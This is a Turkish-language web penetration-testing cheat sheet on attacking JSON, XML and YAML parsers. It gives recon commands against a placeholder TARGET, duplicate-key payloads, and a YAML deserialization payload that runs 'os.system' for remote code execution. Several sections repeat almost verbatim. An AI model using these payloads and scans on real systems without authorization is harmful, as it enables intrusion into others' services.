JSON, XML and YAML Hacking

web offensive

JSON, XML and YAML Hacking web saldırı yüzeyidir. Giriş noktalarını izole edip kanıtlanabilir etki (okuma, yazma, RCE, auth bypass) üretmeye odaklan.

Metodoloji

JSON, XML and YAML Hacking giriş noktalarını (param/header/cookie/upload/API) haritala.
Hedefe özgü payload ve araçlarla hipotezi doğrula.
Okuma/yazma/RCE/bypass etkisini somut kanıtla.
Zincirleme senaryo ve kanıt paketini tamamla.

Keşif

Hedef yığını, endpoint’leri ve auth sınırını netleştir.

curl -skI https://TARGET/

whatweb -a 3 https://TARGET

katana -u https://TARGET -jc -d 3 -o crawl.txt

ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,204,301,302,403

arjun -u https://TARGET/api/v1/item --get

JSON/XML/YAML parser farkları

{"user":"admin","user":"attacker"}

{"age":"1e309"}

user: !!python/object/apply:os.system ['id']

curl -sk -H 'Content-Type: application/json' -d '{"a":1,"a":2}' https://TARGET/api

Operasyon notları

JSON, XML and YAML Hacking sonuçları hedef sürüme ve yığına göre değişir. Her başarılı adımı request/response ile kaydet; sonraki pivot’u not et.

Ek komutlar

curl -sk https://TARGET/robots.txt

nuclei -u https://TARGET -as -silent

ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403

GET / HTTP/1.1
Host: TARGET
Accept: */*

mkdir -p evidence/web && tee evidence/web/notes.txt

Bu ekler keşif ve kanıt paketini hızlandırır; asıl sömürü üstteki bölümlerdeki konu-özel payload’larla yapılır.

Ek keşif komutları

curl -sk https://TARGET/robots.txt

curl -sk https://TARGET/sitemap.xml

ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403

nuclei -u https://TARGET -as -silent

GET / HTTP/1.1
Host: TARGET
Accept: */*

Kanıt toplama

mkdir -p evidence/web && tee evidence/web/notes.txt

request/response
zaman damgası
kullanılan hesap
etki özeti

curl -sk https://TARGET/ -D evidence/web/headers.txt -o evidence/web/body.html